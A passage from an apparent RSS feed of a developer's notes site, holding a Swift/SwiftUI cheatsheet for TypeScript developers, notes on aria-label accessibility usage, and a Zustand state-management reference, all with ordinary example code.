&lt;pre&gt;&lt;code&gt;// Like React Context
struct ContentView: View {
    @Environment(\.colorScheme) var colorScheme
    @Environment(\.dismiss) var dismiss

    var body: some View {
        Text(&quot;Mode: \(colorScheme == .dark ? &quot;Dark&quot; : &quot;Light&quot;)&quot;)
        Button(&quot;Close&quot;) { dismiss() }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SwiftUI views and layout&lt;/h2&gt;
&lt;h3&gt;React JSX vs SwiftUI&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// VStack = flexbox column
VStack(alignment: .leading, spacing: 10) {
    Text(&quot;Title&quot;)
        .font(.title)
    Text(&quot;Subtitle&quot;)
        .foregroundStyle(.secondary)
}

// HStack = flexbox row
HStack(spacing: 12) {
    Image(systemName: &quot;star.fill&quot;)
    Text(&quot;Favorites&quot;)
    Spacer()  // Like flex-grow
    Text(&quot;42&quot;)
}

// ZStack = position absolute / z-index
ZStack {
    Color.blue  // Background
    Text(&quot;Overlay&quot;)
        .foregroundStyle(.white)
}

// ScrollView
ScrollView {
    VStack {
        ForEach(items) { item in
            Text(item.title)
        }
    }
}

// List (like a styled ul with built-in features)
List(items) { item in
    HStack {
        Text(item.title)
        Spacer()
        Text(item.detail)
            .foregroundStyle(.secondary)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;View modifiers (like CSS/styled-components)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Text(&quot;Hello&quot;)
    .font(.title)                    // font-size
    .fontWeight(.bold)               // font-weight
    .foregroundStyle(.blue)          // color
    .padding()                       // padding (all sides)
    .padding(.horizontal, 20)       // padding-left/right
    .background(.gray.opacity(0.2)) // background-color
    .clipShape(RoundedRectangle(cornerRadius: 12))  // border-radius
    .shadow(radius: 4)              // box-shadow
    .frame(width: 200, height: 50)  // width/height
    .frame(maxWidth: .infinity)     // width: 100%
    .opacity(0.5)                   // opacity
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conditional rendering&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Like {condition &amp;amp;&amp;amp; &amp;lt;Component /&amp;gt;}
if isLoggedIn {
    ProfileView()
} else {
    LoginView()
}

// Ternary in modifiers
Text(&quot;Status&quot;)
    .foregroundStyle(isActive ? .green : .red)

// Like {items.map(item =&amp;gt; &amp;lt;Item key={item.id} /&amp;gt;)}
ForEach(items) { item in
    ItemRow(item: item)
}

// Optional content
if let user = currentUser {
    Text(&quot;Hello, \(user.name)&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Navigation&lt;/h2&gt;
&lt;h3&gt;React Router vs SwiftUI Navigation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// NavigationStack (like React Router)
struct ContentView: View {
    var body: some View {
        NavigationStack {
            List(items) { item in
                NavigationLink(value: item) {
                    Text(item.title)
                }
            }
            .navigationTitle(&quot;Items&quot;)
            .navigationDestination(for: Item.self) { item in
                ItemDetailView(item: item)
            }
        }
    }
}

// TabView (like bottom tab navigation)
struct MainView: View {
    var body: some View {
        TabView {
            Tab(&quot;Home&quot;, systemImage: &quot;house&quot;) {
                HomeView()
            }
            Tab(&quot;Search&quot;, systemImage: &quot;magnifyingglass&quot;) {
                SearchView()
            }
            Tab(&quot;Profile&quot;, systemImage: &quot;person&quot;) {
                ProfileView()
            }
        }
    }
}

// Sheet (modal)
struct ContentView: View {
    @State private var showSheet = false

    var body: some View {
        Button(&quot;Show Modal&quot;) {
            showSheet = true
        }
        .sheet(isPresented: $showSheet) {
            ModalView()
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async/Await&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function fetchData(url: string): Promise&amp;lt;Response&amp;gt; {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData(&quot;url1&quot;),
    fetchData(&quot;url2&quot;)
])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Async function
func fetchData(url: String) async throws -&amp;gt; Data {
    let (data, _) = try await URLSession.shared.data(from: URL(string: url)!)
    return data
}

// Call from SwiftUI
struct ContentView: View {
    @State private var items: [Item] = []

    var body: some View {
        List(items) { item in
            Text(item.title)
        }
        .task {  // Like useEffect(() =&amp;gt; {}, [])
            do {
                items = try await fetchItems()
            } catch {
                print(&quot;Error: \(error)&quot;)
            }
        }
    }
}

// Concurrent execution (like Promise.all)
async let result1 = fetchData(url: &quot;url1&quot;)
async let result2 = fetchData(url: &quot;url2&quot;)
let (data1, data2) = try await (result1, result2)

// TaskGroup (like Promise.all with dynamic array)
let results = try await withThrowingTaskGroup(of: Data.self) { group in
    for url in urls {
        group.addTask {
            try await fetchData(url: url)
        }
    }

    var collected: [Data] = []
    for try await result in group {
        collected.append(result)
    }
    return collected
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling (Codable)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
}
const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Codable = Encodable + Decodable (like serde)
struct User: Codable {
    let id: Int
    let name: String
    let email: String?

    // Custom key mapping (like serde rename)
    enum CodingKeys: String, CodingKey {
        case id
        case name
        case email
        case createdAt = &quot;created_at&quot;
    }
}

// Encode (stringify)
let user = User(id: 1, name: &quot;Alice&quot;, email: nil)
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
let json = try encoder.encode(user)
let jsonString = String(data: json, encoding: .utf8)!

// Decode (parse)
let decoder = JSONDecoder()
let user = try decoder.decode(User.self, from: jsonData)

// Decode array
let users = try decoder.decode([User].self, from: jsonData)

// Date handling
let decoder = JSONDecoder()
decoder.dateDecodingStrategy = .iso8601
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generics&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(arr: T[]): T | undefined {
    return arr[0]
}

interface Container&amp;lt;T&amp;gt; {
    value: T
    map&amp;lt;U&amp;gt;(fn: (v: T) =&amp;gt; U): Container&amp;lt;U&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Generic function
func first&amp;lt;T&amp;gt;(_ array: [T]) -&amp;gt; T? {
    array.first
}

// Generic struct
struct Container&amp;lt;T&amp;gt; {
    let value: T

    func map&amp;lt;U&amp;gt;(_ transform: (T) -&amp;gt; U) -&amp;gt; Container&amp;lt;U&amp;gt; {
        Container&amp;lt;U&amp;gt;(value: transform(value))
    }
}

// Usage
let c = Container(value: 42)
let doubled = c.map { $0 * 2 }

// Constrained generics
func printDebug&amp;lt;T: CustomStringConvertible&amp;gt;(_ value: T) {
    print(value.description)
}

// Multiple constraints
func process&amp;lt;T: Codable &amp;amp; Equatable&amp;gt;(_ value: T) { }

// where clause
func combine&amp;lt;T, U&amp;gt;(_ a: T, _ b: U) -&amp;gt; String
where T: CustomStringConvertible, U: CustomStringConvertible {
    &quot;\(a) \(b)&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common SwiftUI patterns&lt;/h2&gt;
&lt;h3&gt;Extracting subviews (like React components)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Extract reusable views
struct BadgeView: View {
    let text: String
    let color: Color

    var body: some View {
        Text(text)
            .font(.caption)
            .padding(.horizontal, 8)
            .padding(.vertical, 4)
            .background(color.opacity(0.2))
            .foregroundStyle(color)
            .clipShape(Capsule())
    }
}

// Usage
BadgeView(text: &quot;New&quot;, color: .blue)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;View composition with ViewBuilder&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Like React children prop
struct Card&amp;lt;Content: View&amp;gt;: View {
    let title: String
    @ViewBuilder let content: Content

    var body: some View {
        VStack(alignment: .leading, spacing: 12) {
            Text(title).font(.headline)
            content
        }
        .padding()
        .background(.background)
        .clipShape(RoundedRectangle(cornerRadius: 12))
        .shadow(radius: 2)
    }
}

// Usage
Card(title: &quot;Profile&quot;) {
    Text(&quot;Alice&quot;)
    Text(&quot;alice@example.com&quot;)
        .foregroundStyle(.secondary)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Custom modifiers (like styled-components)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct CardModifier: ViewModifier {
    func body(content: Content) -&amp;gt; some View {
        content
            .padding()
            .background(.background)
            .clipShape(RoundedRectangle(cornerRadius: 12))
            .shadow(radius: 2)
    }
}

extension View {
    func cardStyle() -&amp;gt; some View {
        modifier(CardModifier())
    }
}

// Usage
Text(&quot;Hello&quot;)
    .cardStyle()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import XCTest
@testable import MyApp

class MathTests: XCTestCase {
    func testAdd() {
        XCTAssertEqual(add(1, 2), 3)
    }

    func testAddNegative() {
        XCTAssertEqual(add(-1, 1), 0)
    }

    func testDivideByZero() {
        XCTAssertThrowsError(try divide(1, 0)) { error in
            XCTAssertEqual(error as? MathError, .divideByZero)
        }
    }

    // Async test
    func testFetchUser() async throws {
        let user = try await fetchUser(id: 1)
        XCTAssertEqual(user.name, &quot;Alice&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Value vs reference types&lt;/strong&gt; - structs are copied, classes are shared&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optionals everywhere&lt;/strong&gt; - must unwrap before use, no implicit coercion&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$&lt;/code&gt; prefix&lt;/strong&gt; - creates a &lt;code&gt;Binding&lt;/code&gt; for two-way data flow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;View is a struct&lt;/strong&gt; - views are value types, recreated on state change&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;some View&lt;/code&gt;&lt;/strong&gt; - opaque return type, must return a single view type&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Argument labels&lt;/strong&gt; - function calls use labels: &lt;code&gt;greet(person: &quot;Alice&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;self&lt;/code&gt; is explicit&lt;/strong&gt; - required in closures and initializers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No spread operator&lt;/strong&gt; - no &lt;code&gt;...&lt;/code&gt; equivalent for structs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocol-oriented&lt;/strong&gt; - prefer protocols over inheritance&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;@State is private&lt;/strong&gt; - local state, use @Binding to share with children&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// Returning multiple view types requires Group or AnyView
var body: some View {
    // ERROR: different return types
    // if condition { Text(&quot;A&quot;) } else { Image(&quot;B&quot;) }

    // OK: Group wraps different types
    Group {
        if condition {
            Text(&quot;A&quot;)
        } else {
            Image(&quot;B&quot;)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.swift.org/swift-book/documentation/the-swift-programming-language/&quot;&gt;Swift Language Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/tutorials/swiftui&quot;&gt;SwiftUI Tutorials (Apple)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.hackingwithswift.com/&quot;&gt;Hacking with Swift&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.swift.org/blog/online-swift-playground/&quot;&gt;Swift Playground&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swiftpackageindex.com/&quot;&gt;Swift Package Index&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.hackingwithswift.com/quick-start/swiftui&quot;&gt;SwiftUI by Example&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>swift</category><category>swiftui</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>aria-label notes</title><link>https://zander.wtf/notes/aria-label-notes/</link><guid isPermaLink="true">https://zander.wtf/notes/aria-label-notes/</guid><description>A summary of Steve Faulkner&apos;s comprehensive guide on aria-label usage. General labeling rules Prefer visible labels over hidden labels Prefer text labels…</description><pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A summary of Steve Faulkner&apos;s comprehensive guide on &lt;code&gt;aria-label&lt;/code&gt; usage.&lt;/p&gt;
&lt;h2&gt;General labeling rules&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Prefer visible labels over hidden labels&lt;/li&gt;
&lt;li&gt;Prefer text labels over icons (if icons, provide supplementary text on focus/hover)&lt;/li&gt;
&lt;li&gt;Place visible labels as expected:
&lt;ul&gt;
&lt;li&gt;Checkbox/radio: label immediately after the field&lt;/li&gt;
&lt;li&gt;Other inputs: label immediately before the field&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Prefer native HTML labeling mechanisms over ARIA&lt;/li&gt;
&lt;li&gt;Never use placeholder text as a label&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Key points about aria-label&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Works well on &lt;strong&gt;interactive elements&lt;/strong&gt; (buttons, links, inputs)&lt;/li&gt;
&lt;li&gt;Works well on &lt;strong&gt;structural/landmark elements&lt;/strong&gt; (nav, main, section, article, aside, header, footer, form, dialog)&lt;/li&gt;
&lt;li&gt;Works poorly or &lt;strong&gt;not at all on text-level semantics&lt;/strong&gt; (&lt;code&gt;span&lt;/code&gt;, &lt;code&gt;div&lt;/code&gt;, &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;strong&lt;/code&gt;, &lt;code&gt;em&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prohibited&lt;/strong&gt; on elements with &lt;code&gt;role=generic&lt;/code&gt; (div, span, b, i, etc.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aria-labelledby&lt;/code&gt; overrides &lt;code&gt;aria-label&lt;/code&gt;, which overrides all other name sources&lt;/li&gt;
&lt;li&gt;Empty &lt;code&gt;aria-label=&quot;&quot;&lt;/code&gt; does nothing (unlike &lt;code&gt;alt=&quot;&quot;&lt;/code&gt; which signals decorative image)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When aria-label masks content&lt;/h2&gt;
&lt;p&gt;On some elements, &lt;code&gt;aria-label&lt;/code&gt; &lt;strong&gt;masks visible text&lt;/strong&gt; — only the aria-label is announced:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Only &quot;some text&quot; is announced, not &quot;home page&quot; --&amp;gt;
&amp;lt;a href=&quot;home.html&quot; aria-label=&quot;some text&quot;&amp;gt;home page&amp;lt;/a&amp;gt;

&amp;lt;!-- Only &quot;some text&quot; is announced, not &quot;open&quot; --&amp;gt;
&amp;lt;button aria-label=&quot;some text&quot;&amp;gt;open&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Be wary of &lt;a href=&quot;https://www.w3.org/TR/WCAG21/#label-in-name&quot;&gt;WCAG 2.5.3 Label in Name&lt;/a&gt; issues when aria-label differs from visible text.&lt;/p&gt;
&lt;h2&gt;When aria-label does NOT mask content&lt;/h2&gt;
&lt;p&gt;On landmark/structural elements, aria-label is announced alongside content when navigated to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;article&lt;/code&gt;, &lt;code&gt;aside&lt;/code&gt;, &lt;code&gt;details&lt;/code&gt;, &lt;code&gt;dialog&lt;/code&gt;, &lt;code&gt;fieldset&lt;/code&gt;, &lt;code&gt;figure&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;footer&lt;/code&gt;, &lt;code&gt;form&lt;/code&gt;, &lt;code&gt;header&lt;/code&gt;, &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;nav&lt;/code&gt;, &lt;code&gt;section&lt;/code&gt;, &lt;code&gt;search&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Prefer native HTML attributes&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;Use instead of aria-label&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;img&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;alt&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;input type=&quot;image&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;alt&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;area&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;alt&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;iframe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;input&lt;/code&gt;, &lt;code&gt;select&lt;/code&gt;, &lt;code&gt;textarea&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt; element&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;table&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;caption&amp;gt;&lt;/code&gt; element&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fieldset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;legend&amp;gt;&lt;/code&gt; element&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;optgroup&lt;/code&gt;, &lt;code&gt;option&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;label&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Elements where aria-label is NOT well supported&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;h1&lt;/code&gt;–&lt;code&gt;h6&lt;/code&gt; (works in NVDA/VoiceOver, not JAWS)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address&lt;/code&gt;, &lt;code&gt;blockquote&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt;, &lt;code&gt;dt&lt;/code&gt;, &lt;code&gt;dfn&lt;/code&gt;, &lt;code&gt;li&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;summary&lt;/code&gt;, &lt;code&gt;output&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Table parts: &lt;code&gt;tbody&lt;/code&gt;, &lt;code&gt;tfoot&lt;/code&gt;, &lt;code&gt;thead&lt;/code&gt;, &lt;code&gt;td&lt;/code&gt;, &lt;code&gt;th&lt;/code&gt;, &lt;code&gt;tr&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Elements where aria-label is prohibited&lt;/h2&gt;
&lt;p&gt;Any element mapping to &lt;code&gt;role=generic&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a&lt;/code&gt; (without href), &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;bdi&lt;/code&gt;, &lt;code&gt;bdo&lt;/code&gt;, &lt;code&gt;body&lt;/code&gt;, &lt;code&gt;br&lt;/code&gt;, &lt;code&gt;cite&lt;/code&gt;, &lt;code&gt;code&lt;/code&gt;, &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;del&lt;/code&gt;, &lt;code&gt;div&lt;/code&gt;, &lt;code&gt;em&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, &lt;code&gt;ins&lt;/code&gt;, &lt;code&gt;kbd&lt;/code&gt;, &lt;code&gt;label&lt;/code&gt;, &lt;code&gt;mark&lt;/code&gt;, &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;pre&lt;/code&gt;, &lt;code&gt;q&lt;/code&gt;, &lt;code&gt;rp&lt;/code&gt;, &lt;code&gt;rt&lt;/code&gt;, &lt;code&gt;ruby&lt;/code&gt;, &lt;code&gt;s&lt;/code&gt;, &lt;code&gt;samp&lt;/code&gt;, &lt;code&gt;small&lt;/code&gt;, &lt;code&gt;span&lt;/code&gt;, &lt;code&gt;strong&lt;/code&gt;, &lt;code&gt;sub&lt;/code&gt;, &lt;code&gt;sup&lt;/code&gt;, &lt;code&gt;time&lt;/code&gt;, &lt;code&gt;u&lt;/code&gt;, &lt;code&gt;var&lt;/code&gt;, &lt;code&gt;wbr&lt;/code&gt;&lt;/p&gt;
</content:encoded><category>a11y</category><category>html</category><author>Zander Martineau</author></item><item><title>Zustand</title><link>https://zander.wtf/notes/zustand/</link><guid isPermaLink="true">https://zander.wtf/notes/zustand/</guid><description>Create a store Your store is a hook. State must be updated immutably and set merges state by default. Use in components No providers needed. Select state…</description><pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Create a store&lt;/h2&gt;
&lt;p&gt;Your store is a hook. State must be updated immutably and &lt;code&gt;set&lt;/code&gt; merges state by default.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { create } from &quot;zustand&quot;;

interface BearState {
  bears: number;
  increasePopulation: () =&amp;gt; void;
  removeAllBears: () =&amp;gt; void;
}

const useBearStore = create&amp;lt;BearState&amp;gt;()((set) =&amp;gt; ({
  bears: 0,
  increasePopulation: () =&amp;gt; set((state) =&amp;gt; ({ bears: state.bears + 1 })),
  removeAllBears: () =&amp;gt; set({ bears: 0 }),
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use in components&lt;/h2&gt;
&lt;p&gt;No providers needed. Select state and the component re-renders on changes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function BearCounter() {
  const bears = useBearStore((state) =&amp;gt; state.bears);
  return &amp;lt;h1&amp;gt;{bears} around here...&amp;lt;/h1&amp;gt;;
}

function Controls() {
  const increasePopulation = useBearStore((state) =&amp;gt; state.increasePopulation);
  return &amp;lt;button onClick={increasePopulation}&amp;gt;one up&amp;lt;/button&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Selecting multiple state slices&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;useShallow&lt;/code&gt; to prevent unnecessary rerenders when selecting multiple values.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useShallow } from &quot;zustand/react/shallow&quot;;

// Object pick
const { nuts, honey } = useBearStore(
  useShallow((state) =&amp;gt; ({ nuts: state.nuts, honey: state.honey })),
);

// Array pick
const [nuts, honey] = useBearStore(
  useShallow((state) =&amp;gt; [state.nuts, state.honey]),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async actions&lt;/h2&gt;
&lt;p&gt;Just call &lt;code&gt;set&lt;/code&gt; when ready. Zustand doesn&apos;t care if actions are async.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const useFishStore = create&amp;lt;FishState&amp;gt;()((set) =&amp;gt; ({
  fishies: {},
  fetch: async (pond: string) =&amp;gt; {
    const response = await fetch(pond);
    set({ fishies: await response.json() });
  },
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reading state in actions&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;get&lt;/code&gt; to access state outside of &lt;code&gt;set&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const useSoundStore = create&amp;lt;SoundState&amp;gt;()((set, get) =&amp;gt; ({
  sound: &quot;grunt&quot;,
  action: () =&amp;gt; {
    const sound = get().sound;
    // ...
  },
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Access state outside components&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Get non-reactive fresh state
const paw = useDogStore.getState().paw;

// Update state
useDogStore.setState({ paw: false });

// Subscribe to all changes
const unsub = useDogStore.subscribe(console.log);
unsub(); // unsubscribe
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Overwriting state&lt;/h2&gt;
&lt;p&gt;The second argument to &lt;code&gt;set&lt;/code&gt; replaces state instead of merging (default &lt;code&gt;false&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const useFishStore = create&amp;lt;FishState&amp;gt;()((set) =&amp;gt; ({
  salmon: 1,
  tuna: 2,
  deleteEverything: () =&amp;gt; set({}, true), // clears entire store
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Persist middleware&lt;/h2&gt;
&lt;p&gt;Persist store data to localStorage or other storage.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { create } from &quot;zustand&quot;;
import { persist, createJSONStorage } from &quot;zustand/middleware&quot;;

const useFishStore = create(
  persist(
    (set, get) =&amp;gt; ({
      fishes: 0,
      addAFish: () =&amp;gt; set({ fishes: get().fishes + 1 }),
    }),
    {
      name: &quot;fish-storage&quot;, // unique name in storage
      storage: createJSONStorage(() =&amp;gt; sessionStorage), // default: localStorage
    },
  ),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Immer middleware&lt;/h2&gt;
&lt;p&gt;Use Immer for mutable state updates.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { create } from &quot;zustand&quot;;
import { immer } from &quot;zustand/middleware/immer&quot;;

const useBeeStore = create(
  immer((set) =&amp;gt; ({
    bees: 0,
    addBees: (by: number) =&amp;gt;
      set((state) =&amp;gt; {
        state.bees += by;
      }),
  })),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Redux DevTools&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { devtools } from &quot;zustand/middleware&quot;;

const useBearStore = create(
  devtools(
    (set) =&amp;gt; ({
      bears: 0,
      increase: (by: number) =&amp;gt;
        set(
          (state) =&amp;gt; ({ bears: state.bears + by }),
          undefined,
          &quot;bear/increase&quot;, // action name for devtools
        ),
    }),
    { name: &quot;BearStore&quot; },
  ),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Combining middleware&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { create } from &quot;zustand&quot;;
import { devtools, persist } from &quot;zustand/middleware&quot;;
import type {} from &quot;@redux-devtools/extension&quot;; // required for devtools typing

interface BearState {
  bears: number;
  increase: (by: number) =&amp;gt; void;
}

const useBearStore = create&amp;lt;BearState&amp;gt;()(
  devtools(
    persist(
      (set) =&amp;gt; ({
        bears: 0,
        increase: (by) =&amp;gt; set((state) =&amp;gt; ({ bears: state.bears + by })),
      }),
      { name: &quot;bear-storage&quot; },
    ),
  ),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Subscribe with selector&lt;/h2&gt;
&lt;p&gt;Use &lt;code&gt;subscribeWithSelector&lt;/code&gt; middleware to subscribe to specific state changes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { subscribeWithSelector } from &quot;zustand/middleware&quot;;

const useDogStore = create(
  subscribeWithSelector(() =&amp;gt; ({ paw: true, snout: true })),
);

// Subscribe to specific state changes
const unsub = useDogStore.subscribe(
  (state) =&amp;gt; state.paw,
  (paw, previousPaw) =&amp;gt; console.log(paw, previousPaw),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Vanilla store (without React)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { createStore } from &quot;zustand/vanilla&quot;;

const store = createStore((set) =&amp;gt; ({
  count: 0,
  increment: () =&amp;gt; set((state) =&amp;gt; ({ count: state.count + 1 })),
}));

const { getState, setState, subscribe } = store;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use with React via &lt;code&gt;useStore&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useStore } from &quot;zustand&quot;;
import { vanillaStore } from &quot;./vanillaStore&quot;;

const useBoundStore = (selector) =&amp;gt; useStore(vanillaStore, selector);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Transient updates&lt;/h2&gt;
